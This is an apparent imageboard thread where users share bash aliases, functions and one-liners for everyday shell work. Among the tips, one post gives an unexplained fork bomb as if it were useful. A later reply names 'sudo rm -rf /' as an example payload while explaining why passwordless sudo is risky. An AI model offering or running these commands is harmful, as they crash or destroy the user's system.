post your useful bash thingies, i will start with posting mine. I'm pretty sure that it isn't all that optimal but it works for me™
http://pastebin.com/AECXGmzR
>>54686577
>http://pastebin.com/AECXGmzR
hello hank
For extracting files you can just use7z x $1
>>54686603
>not anonymizing all your 4chan posts
>>54686678
does that work for all file extensions?
>>54686716
Yes
>>54686603
>alias nano='vim'
>>54686825
fucking kek
>kpn.com
ISP spotted?
>>54686577
>>54686577
what font is that OP?
Not bash, but python#! /usr/bin/python3
import requests
b = requests.get("https://wtfismyip.com/json").json()
print(b["YourFuckingIPAddress"], b["YourFuckingHostname"])
if anyone can rewrite this in bash online, it would be nice!
>>54686992
Looks like terminus
>>54686992
no idea, just got it from the bash wikipedia page
alias p='pushd' +='pushd .' -='popd' d='dirs -v -l' x='dirs -c'
>>54686577
I never use aliases and rarely use functions. I just use scripts now. For example:
sagi went from 'sudo apt-get update && sudo apt-get install' to a full script that checks to see if the package is already installed, runs autoremove, updates a git repository that all my machines share, etc.
Also https://github.com/swirepe/alwaysontop isn't bad, but hasn't been updated in years
>>54687356
This seems pretty cool, saved for later
>>54686825
Fucking n00b. I use the following:
>alias nano='emacs -nw'
>>54688058
Could you post some of the more generally useful ones?
Put your favorite one liners in a file named -oh let's say- .rhistory
When you're trying to remember how that one-liner you saved went....
Do ahistory -r ~/.rhistory
All your one liners are appended to your bash history for easy access.
>>54688694
Hard on my phone, but the few that come to mind are zbell which emails me when as long running command is finished
A wrapper around rsync that does retries.
A wrapper around 'ps aux | grep' that lets me know when a thing is running
Some scripts for automatically pulling the search result with the most seeds from pirate bay and sending it to the torrent server
A thing for opening a folder (and it's subfolders) as a vlc playlist
alias upd='sudo aptitude update'
alias upg='sudo aptitude upgrade'
alias updg='sudo aptitude update ; sudo aptitude upgrade'
alias ins='sudo aptitude install $1'
alias rem='sudo aptitude remove $1'
anyone have the link to the previous thread? there were some good scripts I didn't get to save
https://archive.rebeccablacktech.com/g/thread/S54655836
>>54689650
>>54689752
dude nice
alias fuck_your_spaces='for f in *\ *; do mv "$f" "${f// /_}"; done'Seems like a lot of people don't know about the bash fc builtin.
fc -l -10 # list the last 10 lines in bash history.
fc 66 # line 66 opens in $EDITOR. After you edit, save, and close, it runs in terminal.
fc 66 -e gedit # opens line 66 in gedit for editting.
And also, ctrl x e less you write, paste, edit multiple lines in $EDITOR, then run them.
:() { : | :& } ; :
alias rapist='man'
>password for sudo
is there any reason to do this if you make sure you lock your computer whenever you're away from the screen?
>>54686577
did you just post your sindom MOO password?
>>54691854
>>54691854
don't do this, it makes mustard gas
alias build="make CONF=Release clean build"
>>54692830
Viruses/Malware.
I create a bash script that uses "sudo rm -rf /", and somehow infect your system with it.
If I run that script with your user privileges, with passworded sudo the command will fail, or at the very least pop up asking for a password indicating something untoward is going on.
If you have NOPASSWD set, that script will work without any user input, and without requiring a privilege escalation exploit.
tldr: passwordless sudo allows privilege escalation without an exploit.
My dev machine runs sudo with NOPASSWD set, so take it with a grain of salt.
